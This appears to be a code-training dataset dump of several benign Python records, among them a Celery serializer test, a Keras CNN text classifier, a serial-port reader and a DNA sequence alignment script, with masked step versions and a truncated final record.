self.channel.queue_delete(queue='outputs')\n self.channel.close()\n self.connection.close()\n self.parser_process.kill()\n\n def test_default_serializer(self):\n from yalp.pipeline import tasks\n tasks.process_message.apply_async(\n args=[self.event],\n queue=settings.parser_queue,\n serializer=settings.celery_serializer,\n )\n while True:\n try:\n message = self.channel.basic_get(queue='outputs')\n break\n except ChannelError:\n time.sleep(0.1)\n self.assertIsNotNone(message)\n event = pickle.loads(message.body)['message']\n self.assertEqual('test message', event['message'])\n self.assertEqual(self.now, event['date_time'])\n\n",
"step-ids": [
2,
4,
5,
6,
7
]
}
|
[
2,
4,
5,
6,
7
] |
# -*- coding: utf-8 -*-
"""
Created on Sun Sep 10 12:18:06 2017
@author: wqmike123
"""
#%% build a simple CNN with gloVec as initial
from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation
from keras.layers import Embedding
from keras.layers import Conv1D, GlobalMaxPooling1D
from keras import optimizers
from keras.callbacks import EarlyStopping
#%%
class cnn:
def __init__(self,maxlen,max_voc,embedweight = None,embedding_dims = 300, batch_size = 30,\
filters = 1024, conv_kernel = 3,hidden_dim = 2048,epochs = 20,\
output_dim = 2,dropout = 0.1,trainable=False):
self.epochs = epochs
self.batch_size = batch_size
model = Sequential()
# we start off with an efficient embedding layer which maps
# our vocab indices into embedding_dims dimensions
if not isinstance(embedweight,type(None)):
model.add(Embedding(max_voc,
embedding_dims,
input_length=maxlen,weights = [embedweight],trainable = trainable))
else:
model.add(Embedding(max_voc,
embedding_dims,
input_length=maxlen))
model.add(Dropout(dropout))
# we add a Convolution1D, which will learn filters
# word group filters of size filter_length:
model.add(Conv1D(filters,
conv_kernel,
padding='valid',
activation='relu',
strides=1))
# we use max pooling:
model.add(GlobalMaxPooling1D())
# We add a vanilla hidden layer:
model.add(Dense(hidden_dim))
model.add(Dropout(dropout))
model.add(Activation('relu'))
model.add(Dense(512))
model.add(Dropout(dropout))
model.add(Activation('relu'))
model.add(Dense(128))
model.add(Dropout(dropout))
model.add(Activation('relu'))
# We project onto a single unit output layer, and squash it with a sigmoid:
model.add(Dense(output_dim))
model.add(Activation('softmax'))
opt = optimizers.SGD(lr=0.1,decay = 1e-4,momentum=0.9) #optimizers.adam(lr=0.01, decay=1e-6)
model.compile(loss='binary_crossentropy',
optimizer=opt,
metrics=['accuracy'])
self.model = model
@staticmethod
def padding(x,maxlen):
return sequence.pad_sequences(x, maxlen=maxlen)
def fit(self,x_train,y_train,x_valid,y_valid,class_weight = None,earlyStopping = True):
callback_ = None
if earlyStopping:
callback_ = EarlyStopping(monitor='val_loss', patience=10)
if class_weight:
self.model.fit(x_train, y_train,
batch_size=self.batch_size,
epochs=self.epochs,
validation_data=(x_valid, y_valid),class_weight = class_weight, shuffle=True,callbacks=[callback_])
else:
self.model.fit(x_train, y_train,
batch_size=self.batch_size,
epochs=self.epochs,
validation_data=(x_valid, y_valid), shuffle=True,callbacks=[callback_])
# def fit(self,x_train,y_train,x_valid,y_valid,class_weight = None):
# if class_weight:
# self.model.fit(x_train, y_train,
# batch_size=self.batch_size,
# epochs=self.epochs,
# validation_data=(x_valid, y_valid),class_weight = class_weight)
# else:
# self.model.fit(x_train, y_train,
# batch_size=self.batch_size,
# epochs=self.epochs,
# validation_data=(x_valid, y_valid))
def load_weight(self,fadd):
self.model.load_weights(fadd)
def save_model(self,fpath):
self.model.save(fpath)
def predict(self,test_x):
return self.model.predict(test_x)
|
normal
|
{
"blob_id": "e235be879cf8a00eb9f39f90859689a29b26f1c6",
"index": 3161,
"step-1": "<mask token>\n\n\nclass cnn:\n\n def __init__(self, maxlen, max_voc, embedweight=None, embedding_dims=\n 300, batch_size=30, filters=1024, conv_kernel=3, hidden_dim=2048,\n epochs=20, output_dim=2, dropout=0.1, trainable=False):\n self.epochs = epochs\n self.batch_size = batch_size\n model = Sequential()\n if not isinstance(embedweight, type(None)):\n model.add(Embedding(max_voc, embedding_dims, input_length=\n maxlen, weights=[embedweight], trainable=trainable))\n else:\n model.add(Embedding(max_voc, embedding_dims, input_length=maxlen))\n model.add(Dropout(dropout))\n model.add(Conv1D(filters, conv_kernel, padding='valid', activation=\n 'relu', strides=1))\n model.add(GlobalMaxPooling1D())\n model.add(Dense(hidden_dim))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(512))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(128))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(output_dim))\n model.add(Activation('softmax'))\n opt = optimizers.SGD(lr=0.1, decay=0.0001, momentum=0.9)\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[\n 'accuracy'])\n self.model = model\n <mask token>\n\n def fit(self, x_train, y_train, x_valid, y_valid, class_weight=None,\n earlyStopping=True):\n callback_ = None\n if earlyStopping:\n callback_ = EarlyStopping(monitor='val_loss', patience=10)\n if class_weight:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n class_weight=class_weight, shuffle=True, callbacks=[callback_])\n else:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n shuffle=True, callbacks=[callback_])\n <mask token>\n\n def save_model(self, fpath):\n self.model.save(fpath)\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass cnn:\n\n def __init__(self, maxlen, max_voc, embedweight=None, embedding_dims=\n 300, batch_size=30, filters=1024, conv_kernel=3, hidden_dim=2048,\n epochs=20, output_dim=2, dropout=0.1, trainable=False):\n self.epochs = epochs\n self.batch_size = batch_size\n model = Sequential()\n if not isinstance(embedweight, type(None)):\n model.add(Embedding(max_voc, embedding_dims, input_length=\n maxlen, weights=[embedweight], trainable=trainable))\n else:\n model.add(Embedding(max_voc, embedding_dims, input_length=maxlen))\n model.add(Dropout(dropout))\n model.add(Conv1D(filters, conv_kernel, padding='valid', activation=\n 'relu', strides=1))\n model.add(GlobalMaxPooling1D())\n model.add(Dense(hidden_dim))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(512))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(128))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(output_dim))\n model.add(Activation('softmax'))\n opt = optimizers.SGD(lr=0.1, decay=0.0001, momentum=0.9)\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[\n 'accuracy'])\n self.model = model\n <mask token>\n\n def fit(self, x_train, y_train, x_valid, y_valid, class_weight=None,\n earlyStopping=True):\n callback_ = None\n if earlyStopping:\n callback_ = EarlyStopping(monitor='val_loss', patience=10)\n if class_weight:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n class_weight=class_weight, shuffle=True, callbacks=[callback_])\n else:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n shuffle=True, callbacks=[callback_])\n <mask token>\n\n def save_model(self, fpath):\n self.model.save(fpath)\n\n def predict(self, test_x):\n return self.model.predict(test_x)\n",
"step-3": "<mask token>\n\n\nclass cnn:\n\n def __init__(self, maxlen, max_voc, embedweight=None, embedding_dims=\n 300, batch_size=30, filters=1024, conv_kernel=3, hidden_dim=2048,\n epochs=20, output_dim=2, dropout=0.1, trainable=False):\n self.epochs = epochs\n self.batch_size = batch_size\n model = Sequential()\n if not isinstance(embedweight, type(None)):\n model.add(Embedding(max_voc, embedding_dims, input_length=\n maxlen, weights=[embedweight], trainable=trainable))\n else:\n model.add(Embedding(max_voc, embedding_dims, input_length=maxlen))\n model.add(Dropout(dropout))\n model.add(Conv1D(filters, conv_kernel, padding='valid', activation=\n 'relu', strides=1))\n model.add(GlobalMaxPooling1D())\n model.add(Dense(hidden_dim))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(512))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(128))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(output_dim))\n model.add(Activation('softmax'))\n opt = optimizers.SGD(lr=0.1, decay=0.0001, momentum=0.9)\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[\n 'accuracy'])\n self.model = model\n\n @staticmethod\n def padding(x, maxlen):\n return sequence.pad_sequences(x, maxlen=maxlen)\n\n def fit(self, x_train, y_train, x_valid, y_valid, class_weight=None,\n earlyStopping=True):\n callback_ = None\n if earlyStopping:\n callback_ = EarlyStopping(monitor='val_loss', patience=10)\n if class_weight:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n class_weight=class_weight, shuffle=True, callbacks=[callback_])\n else:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n shuffle=True, callbacks=[callback_])\n\n def load_weight(self, fadd):\n self.model.load_weights(fadd)\n\n def save_model(self, fpath):\n self.model.save(fpath)\n\n def predict(self, test_x):\n return self.model.predict(test_x)\n",
"step-4": "<mask token>\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.layers import Embedding\nfrom keras.layers import Conv1D, GlobalMaxPooling1D\nfrom keras import optimizers\nfrom keras.callbacks import EarlyStopping\n\n\nclass cnn:\n\n def __init__(self, maxlen, max_voc, embedweight=None, embedding_dims=\n 300, batch_size=30, filters=1024, conv_kernel=3, hidden_dim=2048,\n epochs=20, output_dim=2, dropout=0.1, trainable=False):\n self.epochs = epochs\n self.batch_size = batch_size\n model = Sequential()\n if not isinstance(embedweight, type(None)):\n model.add(Embedding(max_voc, embedding_dims, input_length=\n maxlen, weights=[embedweight], trainable=trainable))\n else:\n model.add(Embedding(max_voc, embedding_dims, input_length=maxlen))\n model.add(Dropout(dropout))\n model.add(Conv1D(filters, conv_kernel, padding='valid', activation=\n 'relu', strides=1))\n model.add(GlobalMaxPooling1D())\n model.add(Dense(hidden_dim))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(512))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(128))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n model.add(Dense(output_dim))\n model.add(Activation('softmax'))\n opt = optimizers.SGD(lr=0.1, decay=0.0001, momentum=0.9)\n model.compile(loss='binary_crossentropy', optimizer=opt, metrics=[\n 'accuracy'])\n self.model = model\n\n @staticmethod\n def padding(x, maxlen):\n return sequence.pad_sequences(x, maxlen=maxlen)\n\n def fit(self, x_train, y_train, x_valid, y_valid, class_weight=None,\n earlyStopping=True):\n callback_ = None\n if earlyStopping:\n callback_ = EarlyStopping(monitor='val_loss', patience=10)\n if class_weight:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n class_weight=class_weight, shuffle=True, callbacks=[callback_])\n else:\n self.model.fit(x_train, y_train, batch_size=self.batch_size,\n epochs=self.epochs, validation_data=(x_valid, y_valid),\n shuffle=True, callbacks=[callback_])\n\n def load_weight(self, fadd):\n self.model.load_weights(fadd)\n\n def save_model(self, fpath):\n self.model.save(fpath)\n\n def predict(self, test_x):\n return self.model.predict(test_x)\n",
"step-5": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 10 12:18:06 2017\n\n@author: wqmike123\n\"\"\"\n#%% build a simple CNN with gloVec as initial\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation\nfrom keras.layers import Embedding\nfrom keras.layers import Conv1D, GlobalMaxPooling1D\nfrom keras import optimizers\nfrom keras.callbacks import EarlyStopping\n#%%\nclass cnn:\n\n def __init__(self,maxlen,max_voc,embedweight = None,embedding_dims = 300, batch_size = 30,\\\n filters = 1024, conv_kernel = 3,hidden_dim = 2048,epochs = 20,\\\n output_dim = 2,dropout = 0.1,trainable=False):\n\n self.epochs = epochs\n self.batch_size = batch_size\n model = Sequential()\n \n # we start off with an efficient embedding layer which maps\n # our vocab indices into embedding_dims dimensions\n if not isinstance(embedweight,type(None)):\n model.add(Embedding(max_voc,\n embedding_dims,\n input_length=maxlen,weights = [embedweight],trainable = trainable))\n else:\n model.add(Embedding(max_voc,\n embedding_dims,\n input_length=maxlen)) \n model.add(Dropout(dropout))\n \n # we add a Convolution1D, which will learn filters\n # word group filters of size filter_length:\n model.add(Conv1D(filters,\n conv_kernel,\n padding='valid',\n activation='relu',\n strides=1))\n # we use max pooling:\n model.add(GlobalMaxPooling1D())\n \n # We add a vanilla hidden layer:\n model.add(Dense(hidden_dim))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n \n model.add(Dense(512))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n \n model.add(Dense(128))\n model.add(Dropout(dropout))\n model.add(Activation('relu'))\n \n # We project onto a single unit output layer, and squash it with a sigmoid:\n model.add(Dense(output_dim))\n model.add(Activation('softmax'))\n opt = optimizers.SGD(lr=0.1,decay = 1e-4,momentum=0.9) #optimizers.adam(lr=0.01, decay=1e-6)\n model.compile(loss='binary_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n self.model = model\n \n @staticmethod\n def padding(x,maxlen):\n return sequence.pad_sequences(x, maxlen=maxlen) \n \n def fit(self,x_train,y_train,x_valid,y_valid,class_weight = None,earlyStopping = True):\n callback_ = None\n if earlyStopping:\n callback_ = EarlyStopping(monitor='val_loss', patience=10)\n if class_weight:\n self.model.fit(x_train, y_train,\n batch_size=self.batch_size,\n epochs=self.epochs,\n validation_data=(x_valid, y_valid),class_weight = class_weight, shuffle=True,callbacks=[callback_])\n else:\n self.model.fit(x_train, y_train,\n batch_size=self.batch_size,\n epochs=self.epochs,\n validation_data=(x_valid, y_valid), shuffle=True,callbacks=[callback_]) \n# def fit(self,x_train,y_train,x_valid,y_valid,class_weight = None):\n# if class_weight:\n# self.model.fit(x_train, y_train,\n# batch_size=self.batch_size,\n# epochs=self.epochs,\n# validation_data=(x_valid, y_valid),class_weight = class_weight)\n# else:\n# self.model.fit(x_train, y_train,\n# batch_size=self.batch_size,\n# epochs=self.epochs,\n# validation_data=(x_valid, y_valid)) \n def load_weight(self,fadd):\n self.model.load_weights(fadd)\n \n def save_model(self,fpath):\n self.model.save(fpath)\n \n def predict(self,test_x):\n return self.model.predict(test_x)\n ",
"step-ids": [
4,
5,
7,
8,
9
]
}
|
[
4,
5,
7,
8,
9
] |
# -*- coding: utf-8 -*-
"""
Created on Sun Apr 19 12:28:39 2020
@author: Ксения
"""
import serial
import time
import serial.tools.list_ports as lp
def get_comports_list():
ports=list(lp.comports(include_links=False))
for p in ports:
print(p.device)
return ports
def read_while_LF(com, timeout_ms=500):
read_data =""
delay_ms=10
attempts=int(timeout_ms/delay_ms)
for i in range(attempts):
byte=com.read(size = 1).decode('utf-8')
time.sleep(0.01)
read_data+=byte
if byte == '\n':
break
return read_data
def read_write_gst(com, instruction):
write_data=instruction.encode('utf-8')
com.write(write_data)
recieved = []
while(1):
read_data=read_while_LF(com)
if(read_data == ""):
break
recieved.append(read_data)
return recieved
com = serial.Serial('COM3', baudrate=115200, timeout=0.02)
s=read_write_gst(com, "fil_test:start\r")
print(s)
com.close()
|
normal
|
{
"blob_id": "e08fddefabf1b92aa97b939e05bb31d888df4e6a",
"index": 2241,
"step-1": "<mask token>\n\n\ndef get_comports_list():\n ports = list(lp.comports(include_links=False))\n for p in ports:\n print(p.device)\n return ports\n\n\ndef read_while_LF(com, timeout_ms=500):\n read_data = ''\n delay_ms = 10\n attempts = int(timeout_ms / delay_ms)\n for i in range(attempts):\n byte = com.read(size=1).decode('utf-8')\n time.sleep(0.01)\n read_data += byte\n if byte == '\\n':\n break\n return read_data\n\n\ndef read_write_gst(com, instruction):\n write_data = instruction.encode('utf-8')\n com.write(write_data)\n recieved = []\n while 1:\n read_data = read_while_LF(com)\n if read_data == '':\n break\n recieved.append(read_data)\n return recieved\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef get_comports_list():\n ports = list(lp.comports(include_links=False))\n for p in ports:\n print(p.device)\n return ports\n\n\ndef read_while_LF(com, timeout_ms=500):\n read_data = ''\n delay_ms = 10\n attempts = int(timeout_ms / delay_ms)\n for i in range(attempts):\n byte = com.read(size=1).decode('utf-8')\n time.sleep(0.01)\n read_data += byte\n if byte == '\\n':\n break\n return read_data\n\n\ndef read_write_gst(com, instruction):\n write_data = instruction.encode('utf-8')\n com.write(write_data)\n recieved = []\n while 1:\n read_data = read_while_LF(com)\n if read_data == '':\n break\n recieved.append(read_data)\n return recieved\n\n\n<mask token>\nprint(s)\ncom.close()\n",
"step-3": "<mask token>\n\n\ndef get_comports_list():\n ports = list(lp.comports(include_links=False))\n for p in ports:\n print(p.device)\n return ports\n\n\ndef read_while_LF(com, timeout_ms=500):\n read_data = ''\n delay_ms = 10\n attempts = int(timeout_ms / delay_ms)\n for i in range(attempts):\n byte = com.read(size=1).decode('utf-8')\n time.sleep(0.01)\n read_data += byte\n if byte == '\\n':\n break\n return read_data\n\n\ndef read_write_gst(com, instruction):\n write_data = instruction.encode('utf-8')\n com.write(write_data)\n recieved = []\n while 1:\n read_data = read_while_LF(com)\n if read_data == '':\n break\n recieved.append(read_data)\n return recieved\n\n\ncom = serial.Serial('COM3', baudrate=115200, timeout=0.02)\ns = read_write_gst(com, 'fil_test:start\\r')\nprint(s)\ncom.close()\n",
"step-4": "<mask token>\nimport serial\nimport time\nimport serial.tools.list_ports as lp\n\n\ndef get_comports_list():\n ports = list(lp.comports(include_links=False))\n for p in ports:\n print(p.device)\n return ports\n\n\ndef read_while_LF(com, timeout_ms=500):\n read_data = ''\n delay_ms = 10\n attempts = int(timeout_ms / delay_ms)\n for i in range(attempts):\n byte = com.read(size=1).decode('utf-8')\n time.sleep(0.01)\n read_data += byte\n if byte == '\\n':\n break\n return read_data\n\n\ndef read_write_gst(com, instruction):\n write_data = instruction.encode('utf-8')\n com.write(write_data)\n recieved = []\n while 1:\n read_data = read_while_LF(com)\n if read_data == '':\n break\n recieved.append(read_data)\n return recieved\n\n\ncom = serial.Serial('COM3', baudrate=115200, timeout=0.02)\ns = read_write_gst(com, 'fil_test:start\\r')\nprint(s)\ncom.close()\n",
"step-5": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 19 12:28:39 2020\n\n@author: Ксения\n\"\"\"\n\n\nimport serial\nimport time\nimport serial.tools.list_ports as lp\n\n\ndef get_comports_list():\n ports=list(lp.comports(include_links=False))\n for p in ports:\n print(p.device)\n return ports\n\n\n\ndef read_while_LF(com, timeout_ms=500):\n read_data =\"\"\n delay_ms=10\n attempts=int(timeout_ms/delay_ms)\n for i in range(attempts): \n byte=com.read(size = 1).decode('utf-8')\n time.sleep(0.01)\n read_data+=byte\n if byte == '\\n':\n break\n\n return read_data\n\ndef read_write_gst(com, instruction): \n\n write_data=instruction.encode('utf-8')\n com.write(write_data)\n recieved = []\n while(1):\n read_data=read_while_LF(com)\n if(read_data == \"\"):\n break\n recieved.append(read_data)\n\n return recieved\n\n\ncom = serial.Serial('COM3', baudrate=115200, timeout=0.02)\n\n\n\n\n\ns=read_write_gst(com, \"fil_test:start\\r\")\n\n\nprint(s)\ncom.close()",
"step-ids": [
3,
4,
5,
6,
7
]
}
|
[
3,
4,
5,
6,
7
] |
import time
with open("src/time.txt", "w") as f:
f.write(str(int(time.time())))
|
normal
|
{
"blob_id": "0058a6d3c9d4e600885b876614362ea4401ce2fe",
"index": 1640,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwith open('src/time.txt', 'w') as f:\n f.write(str(int(time.time())))\n",
"step-3": "import time\nwith open('src/time.txt', 'w') as f:\n f.write(str(int(time.time())))\n",
"step-4": "import time\n\nwith open(\"src/time.txt\", \"w\") as f:\n f.write(str(int(time.time())))",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
#!/usr/bin/python
#import Bio
def findLCS(read, cassette, rIndex, cIndex,cassettes):
LCS=''
while True:
if read[rIndex] == cassette[cIndex]:
LCS+= read[rIndex]
rIndex= rIndex +1
cIndex= cIndex +1
#elif checkLCS(cIndex,cassettes)==True:
else:
break
#print(LCS)
return LCS
def findMaxLCS(read, cassettes, rIndex, cIndex):
#print(read)
maxLCS=''
#print(len(cassettes))
for i in range (0,len(cassettes)):
LCS=findLCS(read, cassettes[i],rIndex, cIndex,cassettes)
if len(LCS) > len(maxLCS):
maxLCS=LCS
rIndex= rIndex+len(maxLCS)
cIndex= cIndex+len(maxLCS)
return maxLCS ,rIndex ,cIndex
def findConsensus(cassettes, cIndex):
#print (cassettes)
con=[]
for i in range(0,len(cassettes[1])-26):
holder=[]
for j in range(0,len(cassettes)):
holder.append(cassettes[j][i])
con.append(holder)
con2=[]
for k in range (0,len(con)):
if con[k].count('G')==16 or (con[k].count('G')==14) :
con2.append('g')
elif con[k].count('A')==16 or (con[k].count('A')==14): #con[k][1]=='-'
con2.append('a')
elif con[k].count('C')==16 or (con[k].count('C')==14):
con2.append('c')
elif con[k].count('T')==16 or (con[k].count('T')==14):
con2.append('t')
elif con[k].count('-')>=10:
con2.append('-')
else:
con2.append('n')
#print(con)
#print(con2)
return con2[cIndex]
def checkGap(LCS, cassettes, cIndex):
#print(rIndex)
#print(cIndex)
#nuc= findConsensus(cassettes, cIndex)
#LCS=LCS+ str(nuc)
#cIndex=cIndex+1
if findConsensus(cassettes, cIndex)== '-':
LCS=LCS+'-'
cIndex=cIndex+1
return LCS, cIndex
else:
return LCS, cIndex
#print(rIndex)
#elif findConsens
#elif (findConsensus(cassettes, cIndex)).isalpha():
def deletenuc(read, cassettes, rIndex, cIndex):
if len(findMaxLCS(read, cassettes, rIndex+1, cIndex))>=3:
return True
else:
return False
def insertnuc(LCS, read, cassettes, rIndex, cIndex):
if len(findMaxLCS(read, cassettes, rIndex, cIndex+1))>=3:
return True
else:
return False
#def subsnuc(
#def checkgaps(
def align(read, cassettes):
#print(read)
#print('hi')
#print(cassettes)
rIndex=0
cIndex=0
alignedRead=''
LCS=''
delrec=[]
insertrec=[]
substrec=[]
#print(read)
while rIndex<= len(read):
#print(read)
#print(len(read))
#print(rIndex)
LCS, rIndex, cIndex= findMaxLCS(read, cassettes,rIndex, cIndex)
#print(rIndex)
#print(cIndex)
#print(LCS)
LCS, cIndex= checkGap(LCS, cassettes,cIndex)
#print(rIndex,cIndex)
#print(LCS)
#if deletenuc(read, cassettes, rIndex,cIndex)==True:
#delrec.append(rIndex)
#rIndex= rIndex+1
if len(LCS)<=6 :
#print (LCS, rIndex)
#print('enter')
if insertnuc(LCS, read, cassettes, rIndex, cIndex)==True:
#print(True, LCS)
insertrec.append(rIndex)
nuc= findConsensus(cassettes, cIndex)
cIndex=cIndex+1
LCS= LCS+nuc
else:
LCS, cIndex= checkGap(LCS, cassettes,cIndex)
#elif subsnuc(LCS, read, cassettes, rIndex, cIndex)==True:
#else:
# LCS, cIndex= checkLCS(LCS, cassettes,cIndex)
# nuc= findConsensus(cassettes, cIndex)
# LCS= LCS+nuc
# cIndex=cIndex+1
# rIndex=rIndex+1
alignedRead= alignedRead+ str(LCS)
print(alignedRead)
return alignedRead
def main():
FASTA=input('Enter FASTA file:')
reference=input('Enter reference file:')
in_file=open(FASTA, 'r')
in_file1=open(reference,'r')
line_list=[]
line_list1=[]
for line in in_file:
line=line.strip()
line_list.append(line)
readnames=line_list[::2] #list of the read headers
reads=line_list[1::2] #list of sequences only
for line1 in in_file1:
line1=line1.strip()
line_list1.append(line1)
cassettes=line_list1[1::2]
refnames=line_list1[::2]
#for i in cassettes:
# print(len(i))
#print(cassettes)
#print(reads)
A=[]
for i in reads:
#print(i[0])
alignedRead=align(i,cassettes)
A.append(alignedRead)
#print(align(i,cassettes))
#out = open("out.txt", "w")
#out.write(align(i, cassettes)
#out.close()
#print(A)
#con=findConsensus(0,cassettes)
#print(con)
|
normal
|
{
"blob_id": "5cec9e82aa994d07e25d8356a8218fc461bb8b4e",
"index": 4728,
"step-1": "def findLCS(read, cassette, rIndex, cIndex, cassettes):\n LCS = ''\n while True:\n if read[rIndex] == cassette[cIndex]:\n LCS += read[rIndex]\n rIndex = rIndex + 1\n cIndex = cIndex + 1\n else:\n break\n return LCS\n\n\n<mask token>\n\n\ndef checkGap(LCS, cassettes, cIndex):\n if findConsensus(cassettes, cIndex) == '-':\n LCS = LCS + '-'\n cIndex = cIndex + 1\n return LCS, cIndex\n else:\n return LCS, cIndex\n\n\ndef deletenuc(read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex + 1, cIndex)) >= 3:\n return True\n else:\n return False\n\n\n<mask token>\n\n\ndef main():\n FASTA = input('Enter FASTA file:')\n reference = input('Enter reference file:')\n in_file = open(FASTA, 'r')\n in_file1 = open(reference, 'r')\n line_list = []\n line_list1 = []\n for line in in_file:\n line = line.strip()\n line_list.append(line)\n readnames = line_list[::2]\n reads = line_list[1::2]\n for line1 in in_file1:\n line1 = line1.strip()\n line_list1.append(line1)\n cassettes = line_list1[1::2]\n refnames = line_list1[::2]\n A = []\n for i in reads:\n alignedRead = align(i, cassettes)\n A.append(alignedRead)\n",
"step-2": "def findLCS(read, cassette, rIndex, cIndex, cassettes):\n LCS = ''\n while True:\n if read[rIndex] == cassette[cIndex]:\n LCS += read[rIndex]\n rIndex = rIndex + 1\n cIndex = cIndex + 1\n else:\n break\n return LCS\n\n\n<mask token>\n\n\ndef checkGap(LCS, cassettes, cIndex):\n if findConsensus(cassettes, cIndex) == '-':\n LCS = LCS + '-'\n cIndex = cIndex + 1\n return LCS, cIndex\n else:\n return LCS, cIndex\n\n\ndef deletenuc(read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex + 1, cIndex)) >= 3:\n return True\n else:\n return False\n\n\ndef insertnuc(LCS, read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex, cIndex + 1)) >= 3:\n return True\n else:\n return False\n\n\n<mask token>\n\n\ndef main():\n FASTA = input('Enter FASTA file:')\n reference = input('Enter reference file:')\n in_file = open(FASTA, 'r')\n in_file1 = open(reference, 'r')\n line_list = []\n line_list1 = []\n for line in in_file:\n line = line.strip()\n line_list.append(line)\n readnames = line_list[::2]\n reads = line_list[1::2]\n for line1 in in_file1:\n line1 = line1.strip()\n line_list1.append(line1)\n cassettes = line_list1[1::2]\n refnames = line_list1[::2]\n A = []\n for i in reads:\n alignedRead = align(i, cassettes)\n A.append(alignedRead)\n",
"step-3": "def findLCS(read, cassette, rIndex, cIndex, cassettes):\n LCS = ''\n while True:\n if read[rIndex] == cassette[cIndex]:\n LCS += read[rIndex]\n rIndex = rIndex + 1\n cIndex = cIndex + 1\n else:\n break\n return LCS\n\n\ndef findMaxLCS(read, cassettes, rIndex, cIndex):\n maxLCS = ''\n for i in range(0, len(cassettes)):\n LCS = findLCS(read, cassettes[i], rIndex, cIndex, cassettes)\n if len(LCS) > len(maxLCS):\n maxLCS = LCS\n rIndex = rIndex + len(maxLCS)\n cIndex = cIndex + len(maxLCS)\n return maxLCS, rIndex, cIndex\n\n\n<mask token>\n\n\ndef checkGap(LCS, cassettes, cIndex):\n if findConsensus(cassettes, cIndex) == '-':\n LCS = LCS + '-'\n cIndex = cIndex + 1\n return LCS, cIndex\n else:\n return LCS, cIndex\n\n\ndef deletenuc(read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex + 1, cIndex)) >= 3:\n return True\n else:\n return False\n\n\ndef insertnuc(LCS, read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex, cIndex + 1)) >= 3:\n return True\n else:\n return False\n\n\n<mask token>\n\n\ndef main():\n FASTA = input('Enter FASTA file:')\n reference = input('Enter reference file:')\n in_file = open(FASTA, 'r')\n in_file1 = open(reference, 'r')\n line_list = []\n line_list1 = []\n for line in in_file:\n line = line.strip()\n line_list.append(line)\n readnames = line_list[::2]\n reads = line_list[1::2]\n for line1 in in_file1:\n line1 = line1.strip()\n line_list1.append(line1)\n cassettes = line_list1[1::2]\n refnames = line_list1[::2]\n A = []\n for i in reads:\n alignedRead = align(i, cassettes)\n A.append(alignedRead)\n",
"step-4": "def findLCS(read, cassette, rIndex, cIndex, cassettes):\n LCS = ''\n while True:\n if read[rIndex] == cassette[cIndex]:\n LCS += read[rIndex]\n rIndex = rIndex + 1\n cIndex = cIndex + 1\n else:\n break\n return LCS\n\n\ndef findMaxLCS(read, cassettes, rIndex, cIndex):\n maxLCS = ''\n for i in range(0, len(cassettes)):\n LCS = findLCS(read, cassettes[i], rIndex, cIndex, cassettes)\n if len(LCS) > len(maxLCS):\n maxLCS = LCS\n rIndex = rIndex + len(maxLCS)\n cIndex = cIndex + len(maxLCS)\n return maxLCS, rIndex, cIndex\n\n\n<mask token>\n\n\ndef checkGap(LCS, cassettes, cIndex):\n if findConsensus(cassettes, cIndex) == '-':\n LCS = LCS + '-'\n cIndex = cIndex + 1\n return LCS, cIndex\n else:\n return LCS, cIndex\n\n\ndef deletenuc(read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex + 1, cIndex)) >= 3:\n return True\n else:\n return False\n\n\ndef insertnuc(LCS, read, cassettes, rIndex, cIndex):\n if len(findMaxLCS(read, cassettes, rIndex, cIndex + 1)) >= 3:\n return True\n else:\n return False\n\n\ndef align(read, cassettes):\n rIndex = 0\n cIndex = 0\n alignedRead = ''\n LCS = ''\n delrec = []\n insertrec = []\n substrec = []\n while rIndex <= len(read):\n LCS, rIndex, cIndex = 